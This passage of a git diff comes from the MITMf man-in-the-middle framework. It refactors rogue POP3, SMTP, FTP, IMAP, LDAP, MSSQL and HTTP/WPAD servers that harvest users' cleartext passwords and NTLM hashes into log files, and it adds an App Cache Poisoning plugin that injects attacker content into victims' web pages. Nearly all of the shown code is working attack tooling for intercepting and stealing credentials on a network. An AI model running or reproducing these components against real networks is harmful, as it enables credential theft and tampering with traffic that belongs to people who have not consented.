file sent to: %s"%(client) - if Verbose: - print Message - responder_logger.info(Message) - buffer1 = WpadCustom(data,client) - return buffer1 - else: - buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) - buffer1.calculate() - return str(buffer1) - - else: - return str(Basic_Ntlm(Basic)) - -#HTTP Server Class -class HTTP(BaseRequestHandler): - - def handle(self): - try: - while True: - self.request.settimeout(1) - data = self.request.recv(8092) - buff = WpadCustom(data,self.client_address[0]) - if buff and WpadForcedAuth(Force_WPAD_Auth) == False: - Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) - if Verbose: - print Message - responder_logger.info(Message) - self.request.send(buff) - else: - buffer0 = PacketSequence(data,self.client_address[0]) - self.request.send(buffer0) - except Exception: - pass#No need to be verbose.. - \ No newline at end of file diff --git a/core/protocols/mssql/MSSQLServer.py b/core/protocols/mssql/MSSQLServer.py deleted file mode 100644 index 60d7adb..0000000 --- a/core/protocols/mssql/MSSQLServer.py +++ /dev/null @@ -1,128 +0,0 @@ -import struct - -class MSSQLServer(): - - def serve_thread_tcp(host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) - - def start(SQL_On_Off): - if SQL_On_Off == "ON": - t = threading.Thread(name="MSSQL", target=self.serve_thread_tcp, args=("0.0.0.0", 1433,MSSQL)) - t.setDaemon(True) - t.start() - return t - if SQL_On_Off == "OFF": - return False - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = True - - def server_bind(self): - TCPServer.server_bind(self) - -#This function parse SQL NTLMv1/v2 hash and dump it into a specific file. -def ParseSQLHash(data,client): - SSPIStart = data[8:] - LMhashLen = struct.unpack(' 60: - DomainLen = struct.unpack('H',Data[2:4])[0] - EncryptionValue = Data[PacketLen-7:PacketLen-6] - if re.search("NTLMSSP",Data): - return True - else: - return False - -#MS-SQL server class. -class MSSQL(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(0.1) - ##Pre-Login Message - if data[0] == "\x12": - buffer0 = str(MSSQLPreLoginAnswer()) - self.request.send(buffer0) - data = self.request.recv(1024) - ##NegoSSP - if data[0] == "\x10": - if re.search("NTLMSSP",data): - t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) - t.calculate() - buffer1 = str(t) - self.request.send(buffer1) - data = self.request.recv(1024) - else: - ParseClearTextSQLPass(data,self.client_address[0]) - ##NegoSSP Auth - if data[0] == "\x11": - ParseSQLHash(data,self.client_address[0]) - except Exception: - pass - self.request.close() -################################################################################## -#SQL Stuff ends here -################################################################################## \ No newline at end of file diff --git a/core/protocols/pop3/POP3Server.py b/core/protocols/pop3/POP3Server.py deleted file mode 100644 index 8e7d700..0000000 --- a/core/protocols/pop3/POP3Server.py +++ /dev/null @@ -1,69 +0,0 @@ -################################################################################## -#POP3 Stuff starts here -################################################################################## - -class POP3Server(): - - def serve_thread_tcp(host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) - - #Function name self-explanatory - def start(POP_On_Off): - if POP_On_Off == "ON": - t = threading.Thread(name="POP", target=serve_thread_tcp, args=("0.0.0.0", 110,POP)) - t.setDaemon(True) - t.start() - return t - if POP_On_Off == "OFF": - return False - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - - -class POPOKPacket(Packet): - fields = OrderedDict([ - ("Code", "+OK"), - ("CRLF", "\r\n"), - ]) - -#POP3 server class. -class POP(BaseRequestHandler): - - def handle(self): - try: - self.request.send(str(POPOKPacket())) - data = self.request.recv(1024) - if data[0:4] == "USER": - User = data[5:].replace("\r\n","") - responder_logger.info('[+]POP3 User: %s'%(User)) - t = POPOKPacket() - self.request.send(str(t)) - data = self.request.recv(1024) - if data[0:4] == "PASS": - Pass = data[5:].replace("\r\n","") - Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt" - WriteData(Outfile,User+":"+Pass, User+":"+Pass) - #print "[+]POP3 Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],User,Pass) - responder_logger.info("[+]POP3 Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],User,Pass)) - t = POPOKPacket() - self.request.send(str(t)) - data = self.request.recv(1024) - else : - t = POPOKPacket() - self.request.send(str(t)) - data = self.request.recv(1024) - except Exception: - pass - -################################################################################## -#POP3 Stuff ends here -################################################################################## \ No newline at end of file diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py index 57c5cb3..ded9958 100644 --- a/core/protocols/smb/SMBserver.py +++ b/core/protocols/smb/SMBserver.py @@ -1,7 +1,8 @@ import logging import sys import threading -from impacket import smbserver, LOG +from impacket import version, smbserver, LOG +from core.configwatcher import ConfigWatcher LOG.setLevel(logging.INFO) LOG.propagate = False @@ -16,11 +17,14 @@ streamHandler.setFormatter(formatter) LOG.addHandler(fileHandler) LOG.addHandler(streamHandler) -class SMBserver: +class SMBserver(ConfigWatcher): + + impacket_ver = version.VER_MINOR def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''): self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile) + self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) def start(self): t = threading.Thread(name='SMBserver', target=self.server.start) diff --git a/core/protocols/smtp/SMTPServer.py b/core/protocols/smtp/SMTPServer.py deleted file mode 100644 index 50002f9..0000000 --- a/core/protocols/smtp/SMTPServer.py +++ /dev/null @@ -1,63 +0,0 @@ -################################################################################## -#ESMTP Stuff starts here -################################################################################## - -class SMTP(): - - def serve_thread_tcp(self, host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) - - #Function name self-explanatory - def start(self, SMTP_On_Off): - if SMTP_On_Off == "ON": - t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=("0.0.0.0", 25,ESMTP)) - t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=("0.0.0.0", 587,ESMTP)) - - for t in [t1, t2]: - t.setDaemon(True) - t.start() - - if SMTP_On_Off == "OFF": - return False - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - -#ESMTP server class. -class ESMTP(BaseRequestHandler): - - def handle(self): - try: - self.request.send(str(SMTPGreating())) - data = self.request.recv(1024) - if data[0:4] == "EHLO": - self.request.send(str(SMTPAUTH())) - data = self.request.recv(1024) - if data[0:4] == "AUTH": - self.request.send(str(SMTPAUTH1())) - data = self.request.recv(1024) - if data: - Username = b64decode(data[:len(data)-2]) - self.request.send(str(SMTPAUTH2())) - data = self.request.recv(1024) - if data: - Password = b64decode(data[:len(data)-2]) - Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt" - WriteData(Outfile,Username+":"+Password, Username+":"+Password) - #print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password) - responder_logger.info("[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)) - - except Exception: - pass - -################################################################################## -#ESMTP Stuff ends here -################################################################################## \ No newline at end of file diff --git a/core/responder/common.py b/core/responder/common.py index cd0ea40..904d865 100644 --- a/core/responder/common.py +++ b/core/responder/common.py @@ -1,6 +1,6 @@ #common functions that are used throughout the Responder's code - +import os import re #Function used to write captured hashs to a file. diff --git a/core/protocols/ftp/FTPServer.py b/core/responder/ftp/FTPServer.py similarity index 54% rename from core/protocols/ftp/FTPServer.py rename to core/responder/ftp/FTPServer.py index 98d65ae..d045568 100644 --- a/core/protocols/ftp/FTPServer.py +++ b/core/responder/ftp/FTPServer.py @@ -1,25 +1,25 @@ -################################################################################## -#FTP Stuff starts here -################################################################################## +import socket +import threading +import logging + +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from core.responder.packet import Packet +from core.responder.odict import OrderedDict +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") class FTPServer(): - - def serve_thread_tcp(host, port, handler): + + def start(self): try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) - - #Function name self-explanatory - def start(FTP_On_Off): - if FTP_On_Off == "ON": - t = threading.Thread(name="FTP", target=self.serve_thread_tcp, args=("0.0.0.0", 21, FTP)) + mitmf_logger.debug("[FTPServer] online") + server = ThreadingTCPServer(("0.0.0.0", 21), FTP) + t = threading.Thread(name="FTPServer", target=server.serve_forever) t.setDaemon(True) t.start() - - if FTP_On_Off == "OFF": - return False + except Exception, e: + mitmf_logger.error("[FTPServer] Error starting on port {}: {}".format(21, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): @@ -45,8 +45,7 @@ class FTP(BaseRequestHandler): data = self.request.recv(1024) if data[0:4] == "USER": User = data[5:].replace("\r\n","") - #print "[+]FTP User: ", User - responder_logger.info('[+]FTP User: %s'%(User)) + mitmf_logger.info('[FTPServer] {} FTP User: {}'.format(self.client_address[0], User)) t = FTPPacket(Code="331",Message="User name okay, need password.") self.request.send(str(t)) data = self.request.recv(1024) @@ -54,8 +53,7 @@ class FTP(BaseRequestHandler): Pass = data[5:].replace("\r\n","") Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt" WriteData(Outfile,User+":"+Pass, User+":"+Pass) - #print "[+]FTP Password is: ", Pass - responder_logger.info('[+]FTP Password is: %s'%(Pass)) + mitmf_logger.info('[FTPServer] {} FTP Password is: {}'.format(self.client_address[0], Pass)) t = FTPPacket(Code="530",Message="User not logged in.") self.request.send(str(t)) data = self.request.recv(1024) @@ -63,9 +61,5 @@ class FTP(BaseRequestHandler): t = FTPPacket(Code="502",Message="Command not implemented.") self.request.send(str(t)) data = self.request.recv(1024) - except Exception: - pass - -################################################################################## -#FTP Stuff ends here -################################################################################## \ No newline at end of file + except Exception as e: + mitmf_logger.error("[FTPServer] Error handling request: {}".format(e)) \ No newline at end of file diff --git a/core/protocols/ftp/__init__.py b/core/responder/ftp/__init__.py similarity index 100% rename from core/protocols/ftp/__init__.py rename to core/responder/ftp/__init__.py diff --git a/core/protocols/http/HTTPSProxy.py b/core/responder/https/HTTPSProxy.py similarity index 100% rename from core/protocols/http/HTTPSProxy.py rename to core/responder/https/HTTPSProxy.py diff --git a/core/protocols/http/__init__.py b/core/responder/https/__init__.py similarity index 100% rename from core/protocols/http/__init__.py rename to core/responder/https/__init__.py diff --git a/core/protocols/imap/IMAPPackets.py b/core/responder/imap/IMAPPackets.py similarity index 76% rename from core/protocols/imap/IMAPPackets.py rename to core/responder/imap/IMAPPackets.py index 51f13e8..3e3ed17 100644 --- a/core/protocols/imap/IMAPPackets.py +++ b/core/responder/imap/IMAPPackets.py @@ -16,21 +16,8 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) +from core.responder.odict import OrderedDict +from core.responder.packet import Packet #IMAP4 Greating class class IMAPGreating(Packet): diff --git a/core/protocols/imap/IMAPServer.py b/core/responder/imap/IMAPServer.py similarity index 50% rename from core/protocols/imap/IMAPServer.py rename to core/responder/imap/IMAPServer.py index a05afc6..67e6a55 100644 --- a/core/protocols/imap/IMAPServer.py +++ b/core/responder/imap/IMAPServer.py @@ -1,26 +1,23 @@ -################################################################################## -#IMAP4 Stuff starts here -################################################################################## +import logging +import threading +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from IMAPPackets import * +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") class IMAPServer(): - def serve_thread_tcp(host, port, handler): + def start(self): try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) - - #Function name self-explanatory - def start(IMAP_On_Off): - if IMAP_On_Off == "ON": - t = threading.Thread(name="IMAP", target=self.serve_thread_tcp, args=("0.0.0.0", 143,IMAP)) + mitmf_logger.debug("[IMAPServer] online") + server = ThreadingTCPServer(("0.0.0.0", 143), IMAP) + t = threading.Thread(name="IMAPServer", target=server.serve_forever) t.setDaemon(True) t.start() - - if IMAP_On_Off == "OFF": - return False + except Exception, e: + mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): @@ -46,13 +43,9 @@ class IMAP(BaseRequestHandler): Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt" WriteData(Outfile,Credentials, Credentials) #print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials) - responder_logger.info('[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)) + mitmf_logger.info('[IMAPServer] IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials)) self.request.send(str(ditchthisconnection())) data = self.request.recv(1024) - except Exception: - pass - -################################################################################## -#IMAP4 Stuff ends here -################################################################################## \ No newline at end of file + except Exception as e: + mitmf_logger.error("[IMAPServer] Error handling request: {}".format(e)) diff --git a/core/protocols/imap/__init__.py b/core/responder/imap/__init__.py similarity index 100% rename from core/protocols/imap/__init__.py rename to core/responder/imap/__init__.py diff --git a/core/protocols/ldap/LDAPPackets.py b/core/responder/ldap/LDAPPackets.py similarity index 97% rename from core/protocols/ldap/LDAPPackets.py rename to core/responder/ldap/LDAPPackets.py index 7de4409..ce3b64f 100644 --- a/core/protocols/ldap/LDAPPackets.py +++ b/core/responder/ldap/LDAPPackets.py @@ -17,22 +17,8 @@ # along with this program. If not, see . import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - +from core.responder.odict import OrderedDict +from core.responder.packet import Packet class LDAPSearchDefaultPacket(Packet): fields = OrderedDict([ diff --git a/core/protocols/ldap/LDAPServer.py b/core/responder/ldap/LDAPServer.py similarity index 72% rename from core/protocols/ldap/LDAPServer.py rename to core/responder/ldap/LDAPServer.py index fa65472..4629f71 100644 --- a/core/protocols/ldap/LDAPServer.py +++ b/core/responder/ldap/LDAPServer.py @@ -1,25 +1,27 @@ -################################################################################## -#LDAP Stuff starts here -################################################################################## +import struct +import logging +import threading +import re + +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from LDAPPackets import * +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") class LDAPServer(): - def serve_thread_tcp(self, host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) + def start(self, chal): + global Challenge; Challenge = chal - #Function name self-explanatory - def start(self, LDAP_On_Off): - if LDAP_On_Off == "ON": - t = threading.Thread(name="LDAP", target=self.serve_thread_tcp, args=("0.0.0.0", 389,LDAP)) + try: + mitmf_logger.debug("[LDAPServer] online") + server = ThreadingTCPServer(("0.0.0.0", 389), LDAP) + t = threading.Thread(name="LDAPServer", target=server.serve_forever) t.setDaemon(True) t.start() - - if LDAP_On_Off == "OFF": - return False + except Exception, e: + mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): @@ -54,15 +56,15 @@ def ParseLDAPHash(data,client): UserLen = struct.unpack('. import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) +from core.responder.odict import OrderedDict +from core.responder.packet import Packet #MS-SQL Pre-login packet class class MSSQLPreLoginAnswer(Packet): diff --git a/core/responder/mssql/MSSQLServer.py b/core/responder/mssql/MSSQLServer.py new file mode 100644 index 0000000..71d38a5 --- /dev/null +++ b/core/responder/mssql/MSSQLServer.py @@ -0,0 +1,127 @@ +import struct +import logging +import threading + +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from MSSQLPackets import * +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") + +class MSSQLServer(): + + def start(self, chal): + global Challenge; Challenge = chal + + try: + mitmf_logger.debug("[MSSQLServer] online") + server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL) + t = threading.Thread(name="MSSQLServer", target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception, e: + mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e)) + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = True + + def server_bind(self): + TCPServer.server_bind(self) + +#This function parse SQL NTLMv1/v2 hash and dump it into a specific file. +def ParseSQLHash(data,client): + SSPIStart = data[8:] + LMhashLen = struct.unpack(' 60: + DomainLen = struct.unpack('H',Data[2:4])[0] + EncryptionValue = Data[PacketLen-7:PacketLen-6] + if re.search("NTLMSSP",Data): + return True + else: + return False + +#MS-SQL server class. +class MSSQL(BaseRequestHandler): + + def handle(self): + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(0.1) + ##Pre-Login Message + if data[0] == "\x12": + buffer0 = str(MSSQLPreLoginAnswer()) + self.request.send(buffer0) + data = self.request.recv(1024) + ##NegoSSP + if data[0] == "\x10": + if re.search("NTLMSSP",data): + t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) + t.calculate() + buffer1 = str(t) + self.request.send(buffer1) + data = self.request.recv(1024) + else: + ParseClearTextSQLPass(data,self.client_address[0]) + ##NegoSSP Auth + if data[0] == "\x11": + ParseSQLHash(data,self.client_address[0]) + except Exception: + pass + self.request.close() diff --git a/core/protocols/mssql/__init__.py b/core/responder/mssql/__init__.py similarity index 100% rename from core/protocols/mssql/__init__.py rename to core/responder/mssql/__init__.py diff --git a/core/responder/pop3/POP3Server.py b/core/responder/pop3/POP3Server.py new file mode 100644 index 0000000..860ab91 --- /dev/null +++ b/core/responder/pop3/POP3Server.py @@ -0,0 +1,63 @@ +import logging +import threading + +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from core.responder.common import * +from core.responder.odict import OrderedDict +from core.responder.packet import Packet + +mitmf_logger = logging.getLogger("mitmf") + +class POP3Server(): + + def start(self): + try: + mitmf_logger.debug("[POP3Server] online") + server = ThreadingTCPServer(("0.0.0.0", 110), POP) + t = threading.Thread(name="POP3Server", target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception, e: + mitmf_logger.error("[POP3Server] Error starting on port {}: {}".format(110, e)) + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + TCPServer.server_bind(self) + + +class POPOKPacket(Packet): + fields = OrderedDict([ + ("Code", "+OK"), + ("CRLF", "\r\n"), + ]) + +#POP3 server class. +class POP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(POPOKPacket())) + data = self.request.recv(1024) + if data[0:4] == "USER": + User = data[5:].replace("\r\n","") + mitmf_logger.info('[+]POP3 User: %s'%(User)) + t = POPOKPacket() + self.request.send(str(t)) + data = self.request.recv(1024) + if data[0:4] == "PASS": + Pass = data[5:].replace("\r\n","") + Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt" + WriteData(Outfile,User+":"+Pass, User+":"+Pass) + mitmf_logger.info("[POP3Server] POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass)) + t = POPOKPacket() + self.request.send(str(t)) + data = self.request.recv(1024) + else : + t = POPOKPacket() + self.request.send(str(t)) + data = self.request.recv(1024) + except Exception as e: + mitmf_logger.error("[POP3Server] Error handling request: {}".format(e)) \ No newline at end of file diff --git a/core/protocols/pop3/__init__.py b/core/responder/pop3/__init__.py similarity index 100% rename from core/protocols/pop3/__init__.py rename to core/responder/pop3/__init__.py diff --git a/core/protocols/smtp/SMTPPackets.py b/core/responder/smtp/SMTPPackets.py similarity index 81% rename from core/protocols/smtp/SMTPPackets.py rename to core/responder/smtp/SMTPPackets.py index 65e252c..0f80519 100644 --- a/core/protocols/smtp/SMTPPackets.py +++ b/core/responder/smtp/SMTPPackets.py @@ -16,21 +16,8 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) +from core.responder.odict import OrderedDict +from core.responder.packet import Packet #SMTP Greating class class SMTPGreating(Packet): diff --git a/core/responder/smtp/SMTPServer.py b/core/responder/smtp/SMTPServer.py new file mode 100644 index 0000000..f07df49 --- /dev/null +++ b/core/responder/smtp/SMTPServer.py @@ -0,0 +1,62 @@ +import logging +import threading + +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from base64 import b64decode +from SMTPPackets import * +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") + +class SMTPServer(): + + def serve_thread_tcp(self, port): + try: + server = ThreadingTCPServer(("0.0.0.0", port), ESMTP) + server.serve_forever() + except Exception as e: + mitmf_logger.error("[SMTPServer] Error starting TCP server on port {}: {}".format(port, e)) + + #Function name self-explanatory + def start(self): + mitmf_logger.debug("[SMTPServer] online") + t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,)) + t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,)) + + for t in [t1, t2]: + t.setDaemon(True) + t.start() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + TCPServer.server_bind(self) + +#ESMTP server class. +class ESMTP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(SMTPGreating())) + data = self.request.recv(1024) + if data[0:4] == "EHLO": + self.request.send(str(SMTPAUTH())) + data = self.request.recv(1024) + if data[0:4] == "AUTH": + self.request.send(str(SMTPAUTH1())) + data = self.request.recv(1024) + if data: + Username = b64decode(data[:len(data)-2]) + self.request.send(str(SMTPAUTH2())) + data = self.request.recv(1024) + if data: + Password = b64decode(data[:len(data)-2]) + Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt" + WriteData(Outfile,Username+":"+Password, Username+":"+Password) + #print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password) + mitmf_logger.info("[SMTPServer] {} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password)) + + except Exception as e: + mitmf_logger.error("[SMTPServer] Error handling request: {}".format(e)) diff --git a/core/protocols/smtp/__init__.py b/core/responder/smtp/__init__.py similarity index 100% rename from core/protocols/smtp/__init__.py rename to core/responder/smtp/__init__.py diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index a182326..9fe76cb 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -103,7 +103,7 @@ class ProxyPlugins: except KeyError as e: pass except Exception as e: - #This is needed because errors in hooked functions won't raise an Exception + Tracback (which can be infuriating) + #This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating) mitmf_logger.error("[ProxyPlugins] Exception occurred in hooked function") traceback.print_exc() diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 3aadfc5..4f3cb11 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -98,7 +98,7 @@ class ServerConnection(HTTPClient): postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging if len(postdata) > 0: mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata)) - except UnicodeDecodeError: + except UnicodeDecodeError and UnicodeEncodeError: mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host'])) pass diff --git a/libs/bdfactory b/libs/bdfactory index 4609ade..0bd3429 160000 --- a/libs/bdfactory +++ b/libs/bdfactory @@ -1 +1 @@ -Subproject commit 4609adeb5383135352aa27113d8ee1398aecff99 +Subproject commit 0bd3429e6775395c3522046ab21193a36ab2e0fe diff --git a/mitmf.py b/mitmf.py index 349b76b..5263505 100755 --- a/mitmf.py +++ b/mitmf.py @@ -39,8 +39,6 @@ if os.geteuid() != 0: mitmf_version = "0.9.7" sslstrip_version = "0.9" sergio_version = "0.2.1" -dnschef_version = "0.4" -netcreds_version = "1.0" parser = argparse.ArgumentParser(description="MITMf v{} - Framework for MITM attacks".format(mitmf_version), version=mitmf_version, usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') @@ -162,17 +160,16 @@ print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) #Start Net-Creds from core.netcreds.NetCreds import NetCreds NetCreds().start(args.interface, myip) -print "|_ Net-Creds v{} online".format(netcreds_version) +print "|_ Net-Creds v{} online".format(NetCreds.version) #Start DNSChef from core.dnschef.DNSchef import DNSChef DNSChef.getInstance().start() -print "|_ DNSChef v{} online".format(dnschef_version) +print "|_ DNSChef v{} online".format(DNSChef.version) #start the SMB server from core.protocols.smb.SMBserver import SMBserver -from impacket import version -print "|_ SMBserver online (Impacket {})\n".format(version.VER_MINOR) +print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) SMBserver().start() #start the reactor diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py new file mode 100644 index 0000000..4b787b9 --- /dev/null +++ b/plugins/AppCachePoison.py @@ -0,0 +1,206 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz + +import logging +import re +import os.path +import time +import sys + +from datetime import date +from plugins.plugin import Plugin +from core.sslstrip.URLMonitor import URLMonitor + +mitmf_logger = logging.getLogger("mitmf") + +class AppCachePlugin(Plugin): + name = "App Cache Poison" + optname = "appoison" + desc = "Performs App Cache Poisoning attacks" + implements = ["handleResponse"] + version = "0.3" + has_opts = False + + def initialize(self, options): + self.options = options + self.mass_poisoned_browsers = [] + self.urlMonitor = URLMonitor.getInstance() + + self.urlMonitor.setAppCachePoisoning() + + def handleResponse(self, request, data): + + self.app_config = self.config['AppCachePoison'] # so we reload the config on each request + url = request.client.uri + req_headers = request.client.getAllHeaders() + headers = request.client.responseHeaders + ip = request.client.getClientIP() + + ######################################################################### + + if "enable_only_in_useragents" in self.app_config: + regexp = self.app_config["enable_only_in_useragents"] + if regexp and not re.search(regexp,req_headers["user-agent"]): + mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"])) + return {'request': request, 'data': data} + + urls = self.urlMonitor.getRedirectionSet(url) + mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls)) + (name,s,element,url) = self.getSectionForUrls(urls) + + if s is False: + data = self.tryMassPoison(url, data, headers, req_headers, ip) + return {'request': request, 'data': data} + + mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name)) + p = self.getTemplatePrefix(s) + + if element == 'tamper': + mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p)) + if os.path.exists(p + '.replace'): # replace whole content + f = open(p + '.replace','r') + data = self.decorate(f.read(), s) + f.close() + + elif os.path.exists(p + '.append'): # append file to body + f = open(p + '.append','r') + appendix = self.decorate(f.read(), s) + f.close() + # append to body + data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + + # add manifest reference + data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip + return data + + def getMassPoisonHtml(self): + html = "
" + for i in self.app_config: + if isinstance(self.app_config[i], dict): + if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False): + html += "" + + return html + "
